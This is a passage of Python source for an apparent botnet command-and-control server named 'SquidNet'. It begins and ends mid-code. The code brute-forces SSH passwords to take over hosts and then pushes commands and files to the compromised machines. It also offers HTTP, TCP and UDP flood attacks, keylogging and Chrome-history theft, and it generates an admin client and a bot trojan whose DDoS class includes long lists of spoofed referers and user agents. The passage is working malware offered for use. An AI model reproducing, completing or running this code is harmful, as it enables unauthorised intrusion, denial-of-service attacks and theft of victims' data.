Brute Forcing the Password for: {username}@{ip}\n" self.log('\n' + msgtoadmin) for admin in self.admin_conn: try: admin.send(msgtoadmin.encode()) except: pass flag = 0 for password in self.passwords: try: if flag == 1: break client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) passw = password.strip() client.connect(ip, 22, username, passw, timeout=2, auth_timeout=2) self.ips.append(ip) self.display_bots.append(f"{username}@{ip}") self.ssh_bots.append(client) self.ssh_info.append(str(username) + " " + str(ip) + " " + str(passw)) self.ssh_botlist.append(str(client) + ' ' + str(username)) msgtoadmin = f"[(SERVER)]: {ip}'s Password has been found!: {passw}\n[(SERVER)] Adding {username}@{ip} to the botnet.\n" self.log('\n' + msgtoadmin) for admin in self.admin_conn: try: admin.send(msgtoadmin.encode()) except: pass print(f"\n[!] {ip}'s Password has been found!: {passw}\n[!] Adding {username}@{ip} to the botnet.\n") flag = 1 break except: client.close() if flag == 0: msgtoadmin = f"[(SERVER)]: Unable to Brute Force password for {username}@{ip}" self.log("\n" + msgtoadmin) for admin in self.admin_conn: try: admin.send(msgtoadmin.encode()) except: pass print(f"\n[?] Unable to Brute Force password for {username}@{ip}") def send_ssh(self, instruction): """Sends instructions to the SSH-Bots. The output will also be sent back to the Server for the admins to see.""" try: for bot in self.ssh_bots: for usernames in self.ssh_botlist: if str(bot) in usernames: split_item = usernames.split() username = split_item[4] try: stdin, stdout, stderr = bot.exec_command(instruction, get_pty=True) stdin.close() output = stdout.read().decode() if output.strip() == "": pass else: msgtoclient = f"\n[({username})]: {output.strip()}" self.log(msgtoclient) print(msgtoclient) for admin in self.admin_conn: try: admin.send(msgtoclient.encode()) except: self.log(f"[(ERROR)]: Unable to send message to {admin}.") except: bot.close() except: pass def ssh_inject(self, client, file): """This function Opens up SFTP(Secure File Transfer Protocol) and sends a file to the SSH-Bots, where they can be opened up on command.""" try: if "/" in file or "\\" in file: result = "" for letter in file: if letter == "/" or letter == "\\": result += " " else: result += letter split_result = result.split() file = split_result[(len(split_result) - 1)] file_dir = "" for item in split_result: if item == file: pass else: file_dir = file_dir + item + "/" os.chdir(file_dir) for usernames in self.ssh_botlist: if str(client) in usernames: split_item = usernames.split() username = split_item[4] try: sftp = client.open_sftp() sftp.put(file, f'C:/{username}/{file}') except: sftp = client.open_sftp() sftp.put(file, f'/Users/{username}/{file}') os.chdir(self.cwd) except: pass def reset_historyvar(self): """Resets the 'self.obtaininghistory' variable to false, so that the bot messages would return to normal.""" time.sleep(10) self.obtaininghistory = False self.historyfile.close() print("\n[+] You are now able to freely send messages to the bots.") def instruct(self): """Server-Side Sending intructions to the bots. This is so that the Server can also send packets to the Bots which they can send info back to the Server and admins.""" self.savefile = False while True: try: self.instruction = input("[+] Enter instruction to the bots: ") if self.instruction == "!botcount": print(f"[+] Current Connected Bots: {self.bot_count}\n") elif self.instruction == "!clear": if sys.platform == "win32": os.system("cls") else: os.system("clear") self.logo() self.usage() elif self.instruction.startswith('!savefile'): instruction_split = self.instruction.split() self.botfile = instruction_split[1] self.savefile = True print("[+] Savefile commenced") elif self.instruction.startswith("!genadminscript"): filename = "SquidNetMaster.py" contents = self.gen_admin() file = open(filename, 'w') file.write(contents) file.close() print(f"[+] File '{filename}' has been generated in dir '{os.getcwd()}'\n") self.log(f"\n[(FILECREATION)]: File '{filename}' has been generated in dir '{os.getcwd()}'\n") elif self.instruction.startswith("!httpflood"): msgtobot = self.instruction.split() try: targ_website = msgtobot[1] atk_delay = msgtobot[2] print(f"[+] Beginning HTTP Flood Attack on {targ_website} with delay of {atk_delay}.\n") except: self.instruction = "help" print("[+] Invalid Parameters!\n") elif self.instruction.startswith("!getchromehistory"): self.obtaininghistory = True print( "[+] Obtaining Bot Chrome history. It is highly suggested you do not give any commands at the moment.") print("[+] Please wait 10 seconds before doing anything.") self.historyfile = open("BotsHistory.txt", "wb") print("[+] File with Bot Chrome History: BotsHistory.txt") resetter = threading.Thread(target=self.reset_historyvar) resetter.start() elif self.instruction.startswith("!tcpflood"): msgtobot = self.instruction.split() try: target = msgtobot[1] print(f"[+] Beginning TCP Flood Attack on {target}.\n") except: self.instruction = "help" print("[+] Invalid Parameters!\n") elif self.instruction.startswith("!udpflood"): msgtobot = self.instruction.split() try: target = msgtobot[1] print(f"[+] Beginning UDP Flood Attack on {target}.\n") except: self.instruction = "help" print("[+] Invalid Parameters!\n") elif self.instruction == "!resettoken": self.key = Fernet.generate_key() with open('token.txt', 'w') as tokenfile: tokenfile.write(str(self.key)) tokenfile.close() print( f"[+] The token has been reset to: {str(self.key)}\n[+] Note that you should regenerate a script to have the same token as the one in this script.\n") self.log(f"\n[(TOKENRESET)]: Encryption key changed to: {str(self.key)}") elif self.instruction == "!genscript": filename = 'SquidNetBot.py' file = open(filename, 'w') contents = self.bot_script() file.write(contents) file.close() print(f"[+] File '{filename}' has been generated in dir '{os.getcwd()}'\n") self.log(f"\n[(FILECREATION)]: File '{filename}' has been generated in dir '{os.getcwd()}'\n") elif self.instruction == "!stopatk": print("[+] Attempting to stop all DDoS Attacks in the botnet.\n") self.log("\n[(STOPATK)]: Attempting to stop all DDoS Attacks in the botnet.\n") elif self.instruction == "!help": self.usage() elif self.instruction.startswith("!infect"): if self.passfile != False: instruction_split = self.instruction.split() ip = instruction_split[1] username = instruction_split[2] brute_force = threading.Thread(target=self.ssh_infect, args=(ip, username)) brute_force.start() else: print("[+] Unable to bruteforce. Configure a password file to do so.\n") elif self.instruction.startswith("!inject"): msg_split = self.instruction.split() filename = msg_split[1] self.log(f"\n[(SERVER)]: Infecting all SSH Bots with {filename}") for bot in self.ssh_bots: injector = threading.Thread(target=self.ssh_inject, args=(bot, filename)) injector.start() elif self.instruction.startswith("!listsshbots"): print(f"[+] Connected SSH Bots: {self.display_bots}") elif self.instruction.startswith("!keylog"): msg_split = self.instruction.split() try: self.displaykeys = bool(msg_split[1]) except: self.displaykeys = False print(f"[+] Setting Display key-inputs to output to: {self.displaykeys}.") self.log("\n[(SERVER)]: Started Keylogging on the bots.") elif self.instruction.startswith("!stopkeylog"): self.log("\n[(SERVER)]: Stopped Keylogging on the bots.") elif self.instruction.startswith("!sshlogin"): msg_split = self.instruction.split() ip = msg_split[1] username = msg_split[2] password = msg_split[3] self.ssh_login(ip, username, password) elif self.instruction.startswith("!getconninfo"): print(self.gen_conntable()) self.log(f"[(SERVER)]: Displayed Conn Table for Server.\n{self.gen_conntable()}") elif self.instruction.startswith("!editfile"): msg_split = self.instruction.split() filename = msg_split[1] print(f"[+] Attempting to open file editor for file {filename} on the bots.") self.log(f"\n[(SERVER)]: Attempting to open file editor for file {filename} on the bots.") elif self.instruction.startswith("!togglelisten"): if self.listenforconn == True: print("[+] Stopped listening for connections.\n") self.log("\n[(SERVER)]: Stopped listening for connections.") self.listenforconn = False else: print("[+] Restarted listening for connections.\n") self.log("\n[(SERVER)]: Started to listen for connections.") self.listenforconn = True elif self.instruction.startswith("!kick"): msg_split = self.instruction.split() host = msg_split[1] port = msg_split[2] conntokick = "" for i in self.connportlist: if host + "" in i and port + " " in i: conntokick = i break if conntokick == "": print("\n[+] Hostname or port is not registered in the botnet.") self.log( f"\n[(SERVER)]: Attempted to kick {host} from source port {port} but it did not exist.") else: for conn in self.conn_list: if str(conn) in conntokick: print(f"\n[+] Successfully kicked {host}.") self.log(f"\n[(SERVER)]: Kicked {host} at source port: {port}") conn.close() break elif self.instruction.startswith("!whatsnew"): print(""" [+] New Features In the SquidNet: [+] - Added Web-Interface(http://127.0.0.1:8080)! [+] - Fixed Variable bug in regular SSH Login Function(passw-->password) [+] - Optimized the code. [+] - Fixed web-interface server slowing down Botnet. [+] - Fixed NotSamePassException Errors. [+] - Fixed Error in self.send_ssh that would flood output with errors. [+] - Fixed Error in Stopping DDoS Attacks(tried to call a bool object and not function). [+] - Made password list optional(however brute forcing cannot happen). [+] - Added '!cloneself' Command. [+] - Fixed more errors on the admins being kicked without reason. [+] - Upgraded reverse shell messages. [+] - Added '!getconninfo' Command. [+] - Made it so that '!clear', '!genscript' and '!genadminscript' are not sent to the clients. [+] - Fixed typos. [+] - Added '!kick' and '!togglelisten' [+] - Added Keylogging to the bots. [+] - Added display message when there is an error with binding the server. [+] - Fixed bug that kicks bots when wanting to view content from a file remotely or when sending bytes. [+] - Improved Logging Function. [+] - Replace '--nH' and '--nP' arguements with '--eH' and '--eP'(external-host and port). [+] - Replaced some text in the help message. [+] - Made default admin password a random integer, rather than 'root'. [+] - Removed unnessecary modules. [+] - Chrome history obtaining is now possible on the bots ;). [+] - Changed hashing algorithim to sha256. """) if "!clear" in self.instruction.strip() or "!genscript" in self.instruction.strip() or "!genadminscript".strip() in self.instruction.strip() or "!whatsnew" in self.instruction.strip() or "!getconninfo" in self.instruction.strip() or "listsshbots" in self.instruction.strip() or "!togglelisten" in self.instruction.strip(): pass else: if len(self.ssh_bots) != 0: sendtossh = threading.Thread(target=self.send_ssh, args=(self.instruction,)) sendtossh.start() self.log(f"\n[(SERVER)---->(ADMINS)]: Sent '{self.instruction}' to the bots.") for conn in self.conn_list: try: if conn in self.admin_conn: conn.send(f"[(SERVER)]: Sent '{self.instruction}' to the bots.".encode()) else: conn.send(self.instruction.encode()) except: self.log(f"\n[(ERROR)]: Unable to send message to {conn}.") self.log(f"\n[(SERVER)]: {self.instruction}") except Exception as e: self.log(f"\n[(ERROR)]: {str(e)}") def gen_admin(self): """Generates the admin for remote admin connections to the BotNet.""" script = """ import socket, threading, os, time, urllib.request, sys class BotMaster: def __init__(self, ip, port, name, admin_password): self.ip = ip self.port = port self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.client.connect((self.ip, self.port)) msg = str(socket.gethostname() + " " + self.getip() + " " + os.getlogin()+" "+sys.platform).encode() self.client.send(msg) self.name = name self.admin_password = <PASSWORD> time.sleep(1) self.client.send("!CLIENTLOG".encode()) time.sleep(1) self.client.send(f"!login {self.name} {self.admin_password}".encode()) self.logo() print("\\n[+] Successfully logged into the Botnet!") print("[+] You are able to access the Botnet and also give commands to all of the connected bots!") print("") self.reciever = threading.Thread(target=self.recv) self.reciever.start() self.sender = threading.Thread(target=self.send) self.sender.start() def logo(self): print(''' _____ _ _ __ __ _ / ____| (_) | | \/ | | | | (___ __ _ _ _ _ __| | \ / | __ _ ___| |_ ___ _ __ \___ \ / _` | | | | |/ _` | |\/| |/ _` / __| __/ _ \ '__| ____) | (_| | |_| | | (_| | | | | (_| \__ \ || __/ | |_____/ \__, |\__,_|_|\__,_|_| |_|\__,_|___/\__\___|_| | | |_| SquidNet Admin Script By DrSquid''') def getip(self): try: url = 'https://httpbin.org/ip' req = urllib.request.Request(url) result = urllib.request.urlopen(req) try: result = result.read().decode() except: result = result.read() contents = result.split() ip = contents[2].strip('"') return ip except: pass def send(self): while True: try: msg = input("[(ADMIN)]: ") self.client.send(msg.encode()) except: print("[+] There may be a server error. Try to relogin to the botnet.") def recv(self): while True: try: msg = self.client.recv(65500).decode() if msg == "": pass else: print('\\n' + msg) except: print("\\n[+] Possible Server Error! Try to re-login to the Botnet!") print("[+] If this is a re-occuring message, contact the Server Owner.") print("\\n[+] Attempting to re-connect to the server.") while True: try: self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.client.connect((self.ip, self.port)) msg = str( socket.gethostname() + " " + self.getip() + " " + os.getlogin() + " " + sys.platform).encode() self.client.send(msg) time.sleep(1) self.client.send("!CLIENTLOG".encode()) time.sleep(1) self.client.send(f"!login {self.name} {self.admin_password}".encode()) print("[+] Successfully Logged Back Into the botnet.") break except: pass admin = BotMaster('""" + self.ngroklink + """',""" + str( self.ngrokport) + """,'""" + self.admin_name + """','""" + self.passw + """') """ return script def bot_script(self): """Generates the Bot Trojan Script needed to connect to this server and run commands from it. Test it and see what it does! It will respond to all commands, and it will do either any of the in-built commands or run any other instructions with command prompt/terminal.""" script = """ #-----SquidNet-Bot-Script-----# import socket, time, os, threading, urllib.request, shutil, sys, random, base64, sqlite3, json, subprocess, re, shutil, ctypes from datetime import datetime, timedelta try: from pynput.keyboard import Listener # pip install pynput except: pass try: import win32crypt # pip install pypiwin32 except: pass try: from cryptography.fernet import Fernet # pip install cryptography except: pass try: from Crypto.Cipher import AES # pip install pycryptodome except: pass class DDoS: def __init__(self, ip, delay): self.ip = ip self.delay = delay self.stopatk = False self.useragents = self.obtain_user_agents() self.referers = self.obtain_referers() self.threader = threading.Thread(target=self.start_thr) self.threader.start() def obtain_referers(self): referers = ['http://www.google.com/?q=', 'http://yandex.ru/yandsearch?text=%D1%%D2%?=g.sql()81%..', 'http://vk.com/profile.php?redirect=', 'http://www.usatoday.com/search/results?q=', 'http://engadget.search.aol.com/search?q=query?=query=..', 'https://www.google.ru/#hl=ru&newwindow=1?&saf..,or.r_gc.r_pw=?.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=882', 'https://www.google.ru/#hl=ru&newwindow=1&safe..,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=925', 'http://yandex.ru/yandsearch?text=', 'https://www.google.ru/#hl=ru&newwindow=1&safe..,iny+gay+q=pcsny+=;zdr+query?=poxy+pony&gs_l=hp.3.r?=.0i19.505.10687.0.10963.33.29.4.0.0.0.242.4512.0j26j3.29.0.clfh..0.0.dLyKYyh2BUc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp?=?fd2cf4e896a87c19&biw=1389&bih=832', 'http://go.mail.ru/search?mail.ru=1&q=', 'http://nova.rambler.ru/search?=btnG?=%D0?2?%D0?2?%=D0..', 'http://ru.wikipedia.org/wiki/%D0%9C%D1%8D%D1%x80_%D0%..', 'http://ru.search.yahoo.com/search;_yzt=?=A7x9Q.bs67zf..', 'http://ru.search.yahoo.com/search;?_query?=l%t=?=?A7x..', 'http://go.mail.ru/search?gay.ru.query=1&q=?abc.r..', '/#hl=en-US?&newwindow=1&safe=off&sclient=psy=?-ab&query=%D0%BA%D0%B0%Dq=?0%BA+%D1%83%()_D0%B1%D0%B=8%D1%82%D1%8C+%D1%81bvc?&=query&%D0%BB%D0%BE%D0%BD%D0%B0q+=%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+%D1%87%D0%BB%D0%B5%D0%BD&oq=q=%D0%BA%D0%B0%D0%BA+%D1%83%D0%B1%D0%B8%D1%82%D1%8C+%D1%81%D0%BB%D0%BE%D0%BD%D0%B0+%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D1%DO%D2%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+?%D1%87%D0%BB%D0%B5%D0%BD&gs_l=hp.3...192787.206313.12.206542.48.46.2.0.0.0.190.7355.0j43.45.0.clfh..0.0.ytz2PqzhMAc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=?882', 'http://nova.rambler.ru/search?btnG=%D0%9D%?D0%B0%D0%B..', 'http://www.google.ru/url?sa=t&rct=?j&q=&e..', 'http://help.baidu.com/searchResult?keywords=', 'http://www.bing.com/search?q=', 'https://www.yandex.com/yandsearch?text=', 'https://duckduckgo.com/?q=', 'http://www.ask.com/web?q=', 'http://search.aol.com/aol/search?q=', 'https://www.om.nl/vaste-onderdelen/zoeken/?zoeken_term=', 'https://drive.google.com/viewerng/viewer?url=', 'http://validator.w3.org/feed/check.cgi?url=', 'http://host-tracker.com/check_page/?furl=', 'http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL=', 'http://jigsaw.w3.org/css-validator/validator?uri=', 'https://add.my.yahoo.com/rss?url=', 'http://www.google.com/?q=', 'http://www.google.com/?q=', 'http://www.google.com/?q=', 'http://www.usatoday.com/search/results?q=', 'http://engadget.search.aol.com/search?q=', 'https://steamcommunity.com/market/search?q=', 'http://filehippo.com/search?q=', 'http://www.topsiteminecraft.com/site/pinterest.com/search?q=', 'http://eu.battle.net/wow/en/search?q=', 'http://engadget.search.aol.com/search?q=', 'http://careers.gatesfoundation.org/search?q=', 'http://techtv.mit.edu/search?q=', 'http://www.ustream.tv/search?q=', 'http://www.ted.com/search?q=', 'http://funnymama.com/search?q=', 'http://itch.io/search?q=', 'http://jobs.rbs.com/jobs/search?q=', 'http://taginfo.openstreetmap.org/search?q=', 'http://www.baoxaydung.com.vn/news/vn/search&q=', 'https://play.google.com/store/search?q=', 'http://www.tceq.texas.gov/@@tceq-search?q=', 'http://www.reddit.com/search?q=', 'http://www.bestbuytheater.com/events/search?q=', 'https://careers.carolinashealthcare.org/search?q=', 'http://jobs.leidos.com/search?q=', 'http://jobs.bloomberg.com/search?q=', 'https://www.pinterest.com/search/?q=', 'http://millercenter.org/search?q=', 'https://www.npmjs.com/search?q=', 'http://www.evidence.nhs.uk/search?q=', 'http://www.shodanhq.com/search?q=', 'http://ytmnd.com/search?q=', 'http://www.google.com/?q=', 'http://www.google.com/?q=', 'http://www.google.com/?q=', 'http://www.usatoday.com/search/results?q=', 'http://engadget.search.aol.com/search?q=', 'https://steamcommunity.com/market/search?q=', 'http://filehippo.com/search?q=', 'http://www.topsiteminecraft.com/site/pinterest.com/search?q=', 'http://eu.battle.net/wow/en/search?q=', 'http://engadget.search.aol.com/search?q=', 'http://careers.gatesfoundation.org/search?q=', 'http://techtv.mit.edu/search?q=', 'http://www.ustream.tv/search?q=', 'http://www.ted.com/search?q=', 'http://funnymama.com/search?q=', 'http://itch.io/search?q=', 'http://jobs.rbs.com/jobs/search?q=', 'http://taginfo.openstreetmap.org/search?q=', 'http://www.baoxaydung.com.vn/news/vn/search&q=', 'https://play.google.com/store/search?q=', 'http://www.tceq.texas.gov/@@tceq-search?q=', 'http://www.reddit.com/search?q=', 'http://www.bestbuytheater.com/events/search?q=', 'https://careers.carolinashealthcare.org/search?q=', 'http://jobs.leidos.com/search?q=', 'http://jobs.bloomberg.com/search?q=', 'https://www.pinterest.com/search/?q=', 'http://millercenter.org/search?q=', 'https://www.npmjs.com/search?q=', 'http://www.evidence.nhs.uk/search?q=', 'http://www.shodanhq.com/search?q=', 'http://ytmnd.com/search?q=', 'http://www.google.com/?q=', 'http://www.google.com/?q=', 'http://www.google.com/?q=', 'http://www.usatoday.com/search/results?q=', 'http://engadget.search.aol.com/search?q=', 'https://steamcommunity.com/market/search?q=', 'http://filehippo.com/search?q=', 'http://www.topsiteminecraft.com/site/pinterest.com/search?q=', 'http://eu.battle.net/wow/en/search?q=', 'http://engadget.search.aol.com/search?q=', 'http://careers.gatesfoundation.org/search?q=', 'http://techtv.mit.edu/search?q=', 'http://www.ustream.tv/search?q=', 'http://www.ted.com/search?q=', 'http://funnymama.com/search?q=', 'http://itch.io/search?q=', 'http://jobs.rbs.com/jobs/search?q=', 'http://taginfo.openstreetmap.org/search?q=', 'http://www.baoxaydung.com.vn/news/vn/search&q=', 'https://play.google.com/store/search?q=', 'http://www.tceq.texas.gov/@@tceq-search?q=', 'http://www.reddit.com/search?q=', 'http://www.bestbuytheater.com/events/search?q=', 'https://careers.carolinashealthcare.org/search?q=', 'http://jobs.leidos.com/search?q=', 'http://jobs.bloomberg.com/search?q=', 'https://www.pinterest.com/search/?q=', 'http://millercenter.org/search?q=', 'https://www.npmjs.com/search?q=', 'http://www.evidence.nhs.uk/search?q=', 'http://www.shodanhq.com/search?q=', 'http://ytmnd.com/search?q=', 'http://www.google.com/?q=', 'http://www.google.com/?q=', 'http://www.google.com/?q=', 'http://www.usatoday.com/search/results?q=', 'http://engadget.search.aol.com/search?q=', 'https://steamcommunity.com/market/search?q=', 'http://filehippo.com/search?q=', 'http://www.topsiteminecraft.com/site/pinterest.com/search?q=', 'http://eu.battle.net/wow/en/search?q=', 'http://engadget.search.aol.com/search?q=', 'http://careers.gatesfoundation.org/search?q=', 'http://techtv.mit.edu/search?q=', 'http://www.ustream.tv/search?q=', 'http://www.ted.com/search?q=', 'http://funnymama.com/search?q=', 'http://itch.io/search?q=', 'http://jobs.rbs.com/jobs/search?q=', 'http://taginfo.openstreetmap.org/search?q=', 'http://www.baoxaydung.com.vn/news/vn/search&q=', 'https://play.google.com/store/search?q=', 'http://www.tceq.texas.gov/@@tceq-search?q=', 'http://www.reddit.com/search?q=', 'http://www.bestbuytheater.com/events/search?q=', 'https://careers.carolinashealthcare.org/search?q=', 'http://jobs.leidos.com/search?q=', 'http://jobs.bloomberg.com/search?q=', 'https://www.pinterest.com/search/?q=', 'http://millercenter.org/search?q=', 'https://www.npmjs.com/search?q=', 'http://www.evidence.nhs.uk/search?q=', 'http://www.shodanhq.com/search?q=', 'http://ytmnd.com/search?q=', 'https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer/sharer.php?u=', 'http://www.google.com/?q=', 'https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=', 'https://drive.google.com/viewerng/viewer?url=', 'http://www.google.com/translate?u=', 'https://developers.google.com/speed/pagespeed/insights/?url=', 'http://help.baidu.com/searchResult?keywords=', 'http://www.bing.com/search?q=', 'https://add.my.yahoo.com/rss?url=', 'https://play.google.com/store/search?q=', 'http://www.google.com/?q=', 'http://www.usatoday.com/search/results?q=', 'http://engadget.search.aol.com/search?q='] return referers def obtain_user_agents(self): user_agents = ['Mozilla/5.0 (Amiga; U; AmigaOS 1.3; en; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14', 'Mozilla/5.0 (AmigaOS; U; AmigaOS 1.3; en-US; rv:1.8.1.21) Gecko/20090303 SeaMonkey/1.1.15', 'Mozilla/5.0 (AmigaOS; U; AmigaOS 1.3; en; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14', 'Mozilla/5.0 (Android 2.2; Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4', 'Mozilla/5.0 (BeOS; U; BeOS BeBox; fr; rv:1.9) Gecko/2008052906 BonEcho/2.0', 'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.1) Gecko/20061220 BonEcho/2.0.0.1', 'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.10) Gecko/20071128 BonEcho/2.0.0.10', 'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.17) Gecko/20080831 BonEcho/2.0.0.17', 'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.6) Gecko/20070731 BonEcho/2.0.0.6', 'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.7) Gecko/20070917 BonEcho/2.0.0.7', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)', 'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)', 'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)', 'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51', 'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)', 'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)', 'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)', 'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)', 'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)', 'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)', 'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)', 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3', 'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)', 'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)', 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)', 'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57', 'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)', 'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0', 'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g', 'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125', 'Mozilla/5.0 (X11; U; Linux i686 (x86_64); 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Slurp; http://help.yahoo.com/help/us/ysearch/slurp)', 'Mozilla/4.8 [en] (Windows NT 5.1; U)', 'Opera/8.51 (Windows NT 5.1; U; en)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', 'Opera/8.51 (Windows NT 5.1; U; en;VWP-online.de)', 'sproose/0.1-alpha (sproose crawler; http://www.sproose.com/bot.html; <EMAIL>)', 'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0', 'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0,gzip(gfe) (via translate.google.com)', 'Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1', 'BrowserEmulator/0.9 see http://dejavu.org', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)', 'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4.1) Gecko/20020508', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.2 (KHTML, like Gecko)', 'Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.4) Gecko/20030624', 'iCCrawler (http://www.iccenter.net/bot.htm)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322)', 'Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.12) Gecko/20051013 Debian/1.7.12-1ubuntu1', 'Mozilla/5.0 (Windows; U; Windows NT 5.0; de; 